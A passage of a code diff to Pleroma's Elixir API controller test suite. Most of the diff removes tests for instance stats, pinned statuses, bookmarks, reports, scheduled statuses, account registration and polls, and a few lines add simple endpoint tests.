- assert json_response(conn, 403) == %{"error" => "Can't get favorites"}
- end
- end
-
- test "get instance information", %{conn: conn} do
- conn = get(conn, "/api/v1/instance")
- assert result = json_response(conn, 200)
-
- email = Pleroma.Config.get([:instance, :email])
- # Note: not checking for "max_toot_chars" since it's optional
- assert %{
- "uri" => _,
- "title" => _,
- "description" => _,
- "version" => _,
- "email" => from_config_email,
- "urls" => %{
- "streaming_api" => _
- },
- "stats" => _,
- "thumbnail" => _,
- "languages" => _,
- "registrations" => _,
- "poll_limits" => _
- } = result
-
- assert email == from_config_email
- end
-
- test "get instance stats", %{conn: conn} do
- user = insert(:user, %{local: true})
-
- user2 = insert(:user, %{local: true})
- {:ok, _user2} = User.deactivate(user2, !user2.info.deactivated)
-
- insert(:user, %{local: false, nickname: "u@peer1.com"})
- insert(:user, %{local: false, nickname: "u@peer2.com"})
-
- {:ok, _} = CommonAPI.post(user, %{"status" => "cofe"})
-
- # Stats should count users with missing or nil `info.deactivated` value
- user = User.get_cached_by_id(user.id)
- info_change = Changeset.change(user.info, %{deactivated: nil})
-
- {:ok, _user} =
- user
- |> Changeset.change()
- |> Changeset.put_embed(:info, info_change)
- |> User.update_and_set_cache()
-
- Pleroma.Stats.update_stats()
-
- conn = get(conn, "/api/v1/instance")
-
- assert result = json_response(conn, 200)
-
- stats = result["stats"]
-
- assert stats
- assert stats["user_count"] == 1
- assert stats["status_count"] == 1
- assert stats["domain_count"] == 2
- end
-
- test "get peers", %{conn: conn} do
- insert(:user, %{local: false, nickname: "u@peer1.com"})
- insert(:user, %{local: false, nickname: "u@peer2.com"})
-
- Pleroma.Stats.update_stats()
-
- conn = get(conn, "/api/v1/instance/peers")
-
- assert result = json_response(conn, 200)
-
- assert ["peer1.com", "peer2.com"] == Enum.sort(result)
- end
-
- test "put settings", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> put("/api/web/settings", %{"data" => %{"programming" => "socks"}})
-
- assert _result = json_response(conn, 200)
-
- user = User.get_cached_by_ap_id(user.ap_id)
- assert user.info.settings == %{"programming" => "socks"}
- end
-
- describe "pinned statuses" do
- setup do
- Pleroma.Config.put([:instance, :max_pinned_statuses], 1)
-
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})
-
- [user: user, activity: activity]
- end
-
- test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.pin(activity.id, user)
-
- result =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
+ |> get("/api/v1/endorsements")
|> json_response(200)
- id_str = to_string(activity.id)
-
- assert [%{"id" => ^id_str, "pinned" => true}] = result
- end
-
- test "pin status", %{conn: conn, user: user, activity: activity} do
- id_str = to_string(activity.id)
-
- assert %{"id" => ^id_str, "pinned" => true} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/pin")
- |> json_response(200)
-
- assert [%{"id" => ^id_str, "pinned" => true}] =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
- |> json_response(200)
- end
-
- test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do
- {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{dm.id}/pin")
-
- assert json_response(conn, 400) == %{"error" => "Could not pin"}
+ assert res == []
end
- test "unpin status", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.pin(activity.id, user)
-
- id_str = to_string(activity.id)
- user = refresh_record(user)
-
- assert %{"id" => ^id_str, "pinned" => false} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unpin")
- |> json_response(200)
-
- assert [] =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
- |> json_response(200)
- end
-
- test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/1/unpin")
-
- assert json_response(conn, 400) == %{"error" => "Could not unpin"}
- end
-
- test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
- {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
-
- id_str_one = to_string(activity_one.id)
-
- assert %{"id" => ^id_str_one, "pinned" => true} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{id_str_one}/pin")
- |> json_response(200)
-
- user = refresh_record(user)
-
- assert %{"error" => "You have already pinned the maximum number of statuses"} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity_two.id}/pin")
- |> json_response(400)
- end
- end
-
- describe "cards" do
- setup do
- Pleroma.Config.put([:rich_media, :enabled], true)
-
- on_exit(fn ->
- Pleroma.Config.put([:rich_media, :enabled], false)
- end)
-
- user = insert(:user)
- %{user: user}
- end
-
- test "returns rich-media card", %{conn: conn, user: user} do
- {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"})
-
- card_data = %{
- "image" => "http://ia.media-imdb.com/images/rock.jpg",
- "provider_name" => "www.imdb.com",
- "provider_url" => "http://www.imdb.com",
- "title" => "The Rock",
- "type" => "link",
- "url" => "http://www.imdb.com/title/tt0117500/",
- "description" =>
- "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
- "pleroma" => %{
- "opengraph" => %{
- "image" => "http://ia.media-imdb.com/images/rock.jpg",
- "title" => "The Rock",
- "type" => "video.movie",
- "url" => "http://www.imdb.com/title/tt0117500/",
- "description" =>
- "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer."
- }
- }
- }
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/card")
- |> json_response(200)
-
- assert response == card_data
-
- # works with private posts
- {:ok, activity} =
- CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"})
-
- response_two =
+ test "GET /api/v1/trends", %{conn: conn} do
+ res =
conn
- |> assign(:user, user)
- |> get("/api/v1/statuses/#{activity.id}/card")
+ |> get("/api/v1/trends")
|> json_response(200)
- assert response_two == card_data
- end
-
- test "replaces missing description with an empty string", %{conn: conn, user: user} do
- {:ok, activity} =
- CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"})
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/card")
- |> json_response(:ok)
-
- assert response == %{
- "type" => "link",
- "title" => "Pleroma",
- "description" => "",
- "image" => nil,
- "provider_name" => "pleroma.social",
- "provider_url" => "https://pleroma.social",
- "url" => "https://pleroma.social/",
- "pleroma" => %{
- "opengraph" => %{
- "title" => "Pleroma",
- "type" => "website",
- "url" => "https://pleroma.social/"
- }
- }
- }
- end
- end
-
- test "bookmarks" do
- user = insert(:user)
- for_user = insert(:user)
-
- {:ok, activity1} =
- CommonAPI.post(user, %{
- "status" => "heweoo?"
- })
-
- {:ok, activity2} =
- CommonAPI.post(user, %{
- "status" => "heweoo!"
- })
-
- response1 =
- build_conn()
- |> assign(:user, for_user)
- |> post("/api/v1/statuses/#{activity1.id}/bookmark")
-
- assert json_response(response1, 200)["bookmarked"] == true
-
- response2 =
- build_conn()
- |> assign(:user, for_user)
- |> post("/api/v1/statuses/#{activity2.id}/bookmark")
-
- assert json_response(response2, 200)["bookmarked"] == true
-
- bookmarks =
- build_conn()
- |> assign(:user, for_user)
- |> get("/api/v1/bookmarks")
-
- assert [json_response(response2, 200), json_response(response1, 200)] ==
- json_response(bookmarks, 200)
-
- response1 =
- build_conn()
- |> assign(:user, for_user)
- |> post("/api/v1/statuses/#{activity1.id}/unbookmark")
-
- assert json_response(response1, 200)["bookmarked"] == false
-
- bookmarks =
- build_conn()
- |> assign(:user, for_user)
- |> get("/api/v1/bookmarks")
-
- assert [json_response(response2, 200)] == json_response(bookmarks, 200)
- end
-
- describe "conversation muting" do
- setup do
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "HIE"})
-
- [user: user, activity: activity]
- end
-
- test "mute conversation", %{conn: conn, user: user, activity: activity} do
- id_str = to_string(activity.id)
-
- assert %{"id" => ^id_str, "muted" => true} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/mute")
- |> json_response(200)
- end
-
- test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.add_mute(user, activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/mute")
-
- assert json_response(conn, 400) == %{"error" => "conversation is already muted"}
- end
-
- test "unmute conversation", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.add_mute(user, activity)
-
- id_str = to_string(activity.id)
- user = refresh_record(user)
-
- assert %{"id" => ^id_str, "muted" => false} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unmute")
- |> json_response(200)
- end
- end
-
- describe "reports" do
- setup do
- reporter = insert(:user)
- target_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"})
-
- [reporter: reporter, target_user: target_user, activity: activity]
- end
-
- test "submit a basic report", %{conn: conn, reporter: reporter, target_user: target_user} do
- assert %{"action_taken" => false, "id" => _} =
- conn
- |> assign(:user, reporter)
- |> post("/api/v1/reports", %{"account_id" => target_user.id})
- |> json_response(200)
- end
-
- test "submit a report with statuses and comment", %{
- conn: conn,
- reporter: reporter,
- target_user: target_user,
- activity: activity
- } do
- assert %{"action_taken" => false, "id" => _} =
- conn
- |> assign(:user, reporter)
- |> post("/api/v1/reports", %{
- "account_id" => target_user.id,
- "status_ids" => [activity.id],
- "comment" => "bad status!",
- "forward" => "false"
- })
- |> json_response(200)
- end
-
- test "account_id is required", %{
- conn: conn,
- reporter: reporter,
- activity: activity
- } do
- assert %{"error" => "Valid `account_id` required"} =
- conn
- |> assign(:user, reporter)
- |> post("/api/v1/reports", %{"status_ids" => [activity.id]})
- |> json_response(400)
- end
-
- test "comment must be up to the size specified in the config", %{
- conn: conn,
- reporter: reporter,
- target_user: target_user
- } do
- max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000)
- comment = String.pad_trailing("a", max_size + 1, "a")
-
- error = %{"error" => "Comment must be up to #{max_size} characters"}
-
- assert ^error =
- conn
- |> assign(:user, reporter)
- |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment})
- |> json_response(400)
- end
-
- test "returns error when account is not exist", %{
- conn: conn,
- reporter: reporter,
- activity: activity
- } do
- conn =
- conn
- |> assign(:user, reporter)
- |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"})
-
- assert json_response(conn, 400) == %{"error" => "Account not found"}
- end
- end
-
- describe "link headers" do
- test "preserves parameters in link headers", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity1} =
- CommonAPI.post(other_user, %{
- "status" => "hi @#{user.nickname}",
- "visibility" => "public"
- })
-
- {:ok, activity2} =
- CommonAPI.post(other_user, %{
- "status" => "hi @#{user.nickname}",
- "visibility" => "public"
- })
-
- notification1 = Repo.get_by(Notification, activity_id: activity1.id)
- notification2 = Repo.get_by(Notification, activity_id: activity2.id)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/notifications", %{media_only: true})
-
- assert [link_header] = get_resp_header(conn, "link")
- assert link_header =~ ~r/media_only=true/
- assert link_header =~ ~r/min_id=#{notification2.id}/
- assert link_header =~ ~r/max_id=#{notification1.id}/
- end
- end
-
- test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do
- # Need to set an old-style integer ID to reproduce the problem
- # (these are no longer assigned to new accounts but were preserved
- # for existing accounts during the migration to flakeIDs)
- user_one = insert(:user, %{id: 1212})
- user_two = insert(:user, %{nickname: "#{user_one.id}garbage"})
-
- resp_one =
- conn
- |> get("/api/v1/accounts/#{user_one.id}")
-
- resp_two =
- conn
- |> get("/api/v1/accounts/#{user_two.nickname}")
-
- resp_three =
- conn
- |> get("/api/v1/accounts/#{user_two.id}")
-
- acc_one = json_response(resp_one, 200)
- acc_two = json_response(resp_two, 200)
- acc_three = json_response(resp_three, 200)
- refute acc_one == acc_two
- assert acc_two == acc_three
- end
-
- describe "custom emoji" do
- test "with tags", %{conn: conn} do
- [emoji | _body] =
- conn
- |> get("/api/v1/custom_emojis")
- |> json_response(200)
-
- assert Map.has_key?(emoji, "shortcode")
- assert Map.has_key?(emoji, "static_url")
- assert Map.has_key?(emoji, "tags")
- assert is_list(emoji["tags"])
- assert Map.has_key?(emoji, "category")
- assert Map.has_key?(emoji, "url")
- assert Map.has_key?(emoji, "visible_in_picker")
- end
- end
-
- describe "index/2 redirections" do
- setup %{conn: conn} do
- session_opts = [
- store: :cookie,
- key: "_test",
- signing_salt: "cooldude"
- ]
-
- conn =
- conn
- |> Plug.Session.call(Plug.Session.init(session_opts))
- |> fetch_session()
-
- test_path = "/web/statuses/test"
- %{conn: conn, path: test_path}
- end
-
- test "redirects not logged-in users to the login page", %{conn: conn, path: path} do
- conn = get(conn, path)
-
- assert conn.status == 302
- assert redirected_to(conn) == "/web/login"
- end
-
- test "does not redirect logged in users to the login page", %{conn: conn, path: path} do
- token = insert(:oauth_token)
-
- conn =
- conn
- |> assign(:user, token.user)
- |> put_session(:oauth_token, token.token)
- |> get(path)
-
- assert conn.status == 200
- end
-
- test "saves referer path to session", %{conn: conn, path: path} do
- conn = get(conn, path)
- return_to = Plug.Conn.get_session(conn, :return_to)
-
- assert return_to == path
- end
-
- test "redirects to the saved path after log in", %{conn: conn, path: path} do
- app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
- auth = insert(:oauth_authorization, app: app)
-
- conn =
- conn
- |> put_session(:return_to, path)
- |> get("/web/login", %{code: auth.token})
-
- assert conn.status == 302
- assert redirected_to(conn) == path
- end
-
- test "redirects to the getting-started page when referer is not present", %{conn: conn} do
- app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
- auth = insert(:oauth_authorization, app: app)
-
- conn = get(conn, "/web/login", %{code: auth.token})
-
- assert conn.status == 302
- assert redirected_to(conn) == "/web/getting-started"
- end
- end
-
- describe "scheduled activities" do
- test "creates a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "scheduled",
- "scheduled_at" => scheduled_at
- })
-
- assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200)
- assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(scheduled_at)
- assert [] == Repo.all(Activity)
- end
-
- test "creates a scheduled activity with a media attachment", %{conn: conn} do
- user = insert(:user)
- scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "media_ids" => [to_string(upload.id)],
- "status" => "scheduled",
- "scheduled_at" => scheduled_at
- })
-
- assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200)
- assert %{"type" => "image"} = media_attachment
- end
-
- test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now",
- %{conn: conn} do
- user = insert(:user)
-
- scheduled_at =
- NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "not scheduled",
- "scheduled_at" => scheduled_at
- })
-
- assert %{"content" => "not scheduled"} = json_response(conn, 200)
- assert [] == Repo.all(ScheduledActivity)
- end
-
- test "returns error when daily user limit is exceeded", %{conn: conn} do
- user = insert(:user)
-
- today =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
- |> NaiveDateTime.to_iso8601()
-
- attrs = %{params: %{}, scheduled_at: today}
- {:ok, _} = ScheduledActivity.create(user, attrs)
- {:ok, _} = ScheduledActivity.create(user, attrs)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today})
-
- assert %{"error" => "daily limit exceeded"} == json_response(conn, 422)
- end
-
- test "returns error when total user limit is exceeded", %{conn: conn} do
- user = insert(:user)
-
- today =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
- |> NaiveDateTime.to_iso8601()
-
- tomorrow =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(:timer.hours(36), :millisecond)
- |> NaiveDateTime.to_iso8601()
-
- attrs = %{params: %{}, scheduled_at: today}
- {:ok, _} = ScheduledActivity.create(user, attrs)
- {:ok, _} = ScheduledActivity.create(user, attrs)
- {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow})
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow})
-
- assert %{"error" => "total limit exceeded"} == json_response(conn, 422)
- end
-
- test "shows scheduled activities", %{conn: conn} do
- user = insert(:user)
- scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string()
- scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string()
- scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string()
- scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- # min_id
- conn_res =
- conn
- |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
-
- # since_id
- conn_res =
- conn
- |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result
-
- # max_id
- conn_res =
- conn
- |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
- end
-
- test "shows a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_activity = insert(:scheduled_activity, user: user)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
-
- assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200)
- assert scheduled_activity_id == scheduled_activity.id |> to_string()
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/scheduled_statuses/404")
-
- assert %{"error" => "Record not found"} = json_response(res_conn, 404)
- end
-
- test "updates a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_activity = insert(:scheduled_activity, user: user)
-
- new_scheduled_at =
- NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{
- scheduled_at: new_scheduled_at
- })
-
- assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200)
- assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at})
-
- assert %{"error" => "Record not found"} = json_response(res_conn, 404)
- end
-
- test "deletes a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_activity = insert(:scheduled_activity, user: user)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
-
- assert %{} = json_response(res_conn, 200)
- assert nil == Repo.get(ScheduledActivity, scheduled_activity.id)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
-
- assert %{"error" => "Record not found"} = json_response(res_conn, 404)
- end
- end
-
- test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do
- user1 = insert(:user)
- user2 = insert(:user)
- user3 = insert(:user)
-
- {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"})
-
- # Reply to status from another user
- conn1 =
- conn
- |> assign(:user, user2)
- |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
-
- assert %{"content" => "xD", "id" => id} = json_response(conn1, 200)
-
- activity = Activity.get_by_id_with_object(id)
-
- assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"]
- assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
-
- # Reblog from the third user
- conn2 =
- conn
- |> assign(:user, user3)
- |> post("/api/v1/statuses/#{activity.id}/reblog")
-
- assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
- json_response(conn2, 200)
-
- assert to_string(activity.id) == id
-
- # Getting third user status
- conn3 =
- conn
- |> assign(:user, user3)
- |> get("api/v1/timelines/home")
-
- [reblogged_activity] = json_response(conn3, 200)
-
- assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id
-
- replied_to_user = User.get_by_ap_id(replied_to.data["actor"])
- assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id
- end
-
- describe "create account by app" do
- test "Account registration via Application", %{conn: conn} do
- conn =
- conn
- |> post("/api/v1/apps", %{
- client_name: "client_name",
- redirect_uris: "urn:ietf:wg:oauth:2.0:oob",
- scopes: "read, write, follow"
- })
-
- %{
- "client_id" => client_id,
- "client_secret" => client_secret,
- "id" => _,
- "name" => "client_name",
- "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob",
- "vapid_key" => _,
- "website" => nil
- } = json_response(conn, 200)
-
- conn =
- conn
- |> post("/oauth/token", %{
- grant_type: "client_credentials",
- client_id: client_id,
- client_secret: client_secret
- })
-
- assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} =
- json_response(conn, 200)
-
- assert token
- token_from_db = Repo.get_by(Token, token: token)
- assert token_from_db
- assert refresh
- assert scope == "read write follow"
-
- conn =
- build_conn()
- |> put_req_header("authorization", "Bearer " <> token)
- |> post("/api/v1/accounts", %{
- username: "lain",
- email: "lain@example.org",
- password: "PlzDontHackLain",
- agreement: true
- })
-
- %{
- "access_token" => token,
- "created_at" => _created_at,
- "scope" => _scope,
- "token_type" => "Bearer"
- } = json_response(conn, 200)
-
- token_from_db = Repo.get_by(Token, token: token)
- assert token_from_db
- token_from_db = Repo.preload(token_from_db, :user)
- assert token_from_db.user
-
- assert token_from_db.user.info.confirmation_pending
- end
-
- test "rate limit", %{conn: conn} do
- app_token = insert(:oauth_token, user: nil)
-
- conn =
- put_req_header(conn, "authorization", "Bearer " <> app_token.token)
- |> Map.put(:remote_ip, {15, 15, 15, 15})
-
- for i <- 1..5 do
- conn =
- conn
- |> post("/api/v1/accounts", %{
- username: "#{i}lain",
- email: "#{i}lain@example.org",
- password: "PlzDontHackLain",
- agreement: true
- })
-
- %{
- "access_token" => token,
- "created_at" => _created_at,
- "scope" => _scope,
- "token_type" => "Bearer"
- } = json_response(conn, 200)
-
- token_from_db = Repo.get_by(Token, token: token)
- assert token_from_db
- token_from_db = Repo.preload(token_from_db, :user)
- assert token_from_db.user
-
- assert token_from_db.user.info.confirmation_pending
- end
-
- conn =
- conn
- |> post("/api/v1/accounts", %{
- username: "6lain",
- email: "6lain@example.org",
- password: "PlzDontHackLain",
- agreement: true
- })
-
- assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"}
- end
- end
-
- describe "GET /api/v1/polls/:id" do
- test "returns poll entity for object id", %{conn: conn} do
- user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Pleroma does",
- "poll" => %{"options" => ["what Mastodon't", "n't what Mastodoes"], "expires_in" => 20}
- })
-
- object = Object.normalize(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/polls/#{object.id}")
-
- response = json_response(conn, 200)
- id = to_string(object.id)
- assert %{"id" => ^id, "expired" => false, "multiple" => false} = response
- end
-
- test "does not expose polls for private statuses", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Pleroma does",
- "poll" => %{"options" => ["what Mastodon't", "n't what Mastodoes"], "expires_in" => 20},
- "visibility" => "private"
- })
-
- object = Object.normalize(activity)
-
- conn =
- conn
- |> assign(:user, other_user)
- |> get("/api/v1/polls/#{object.id}")
-
- assert json_response(conn, 404)
- end
- end
-
- describe "POST /api/v1/polls/:id/votes" do
- test "votes are added to the poll", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "A very delicious sandwich",
- "poll" => %{
- "options" => ["Lettuce", "Grilled Bacon", "Tomato"],
- "expires_in" => 20,
- "multiple" => true
- }
- })
-
- object = Object.normalize(activity)
-
- conn =
- conn
- |> assign(:user, other_user)
- |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]})
-
- assert json_response(conn, 200)
- object = Object.get_by_id(object.id)
-
- assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} ->
- total_items == 1
- end)
- end
-
- test "author can't vote", %{conn: conn} do
- user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Am I cute?",
- "poll" => %{"options" => ["Yes", "No"], "expires_in" => 20}
- })
-
- object = Object.normalize(activity)
-
- assert conn
- |> assign(:user, user)
- |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]})
- |> json_response(422) == %{"error" => "Poll's author can't vote"}
-
- object = Object.get_by_id(object.id)
-
- refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1
- end
-
- test "does not allow multiple choices on a single-choice question", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "The glass is",
- "poll" => %{"options" => ["half empty", "half full"], "expires_in" => 20}
- })
-
- object = Object.normalize(activity)
-
- assert conn
- |> assign(:user, other_user)
- |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]})
- |> json_response(422) == %{"error" => "Too many choices"}
-
- object = Object.get_by_id(object.id)
-
- refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} ->
- total_items == 1
- end)
- end
-
- test "does not allow choice index to be greater than options count", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Am I cute?",
- "poll" => %{"options" => ["Yes", "No"], "expires_in" => 20}
- })
-
- object = Object.normalize(activity)
-
- conn =
- conn
- |> assign(:user, other_user)
- |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [2]})
-
- assert json_response(conn, 422) == %{"error" => "Invalid indices"}
- end
-
- test "returns 404 error when object is not exist", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/polls/1/votes", %{"choices" => [0]})
-
- assert json_response(conn, 404) == %{"error" => "Record not found"}
- end
-
- test "returns 404 when poll is private and not available for user", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Am I cute?",
- "poll" => %{"options" => ["Yes", "No"], "expires_in" => 20},
- "visibility" => "private"
- })
-
- object = Object.normalize(activity)
-
- conn =
- conn
- |> assign(:user, other_user)
- |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0]})
-
- assert json_response(conn, 404) == %{"error" => "Record not found"}
- end
- end
-
- describe "GET /api/v1/statuses/:id/favourited_by" do
- setup do
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- [conn: conn, activity: activity]
- end
-
- test "returns users who have favorited the status", %{conn: conn, activity: activity} do
- other_user = insert(:user)
- {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/favourited_by")
- |> json_response(:ok)
-
- [%{"id" => id}] = response
-
- assert id == other_user.id
- end
-
- test "returns empty array when status has not been favorited yet", %{
- conn: conn,
- activity: activity
- } do
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/favourited_by")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
- end
-
- describe "GET /api/v1/statuses/:id/reblogged_by" do
- setup do
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- [conn: conn, activity: activity]
- end
-
- test "returns users who have reblogged the status", %{conn: conn, activity: activity} do
- other_user = insert(:user)
- {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
- |> json_response(:ok)
-
- [%{"id" => id}] = response
-
- assert id == other_user.id
- end
-
- test "returns empty array when status has not been reblogged yet", %{
- conn: conn,
- activity: activity
- } do
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
- end
-
- describe "POST /auth/password, with valid parameters" do
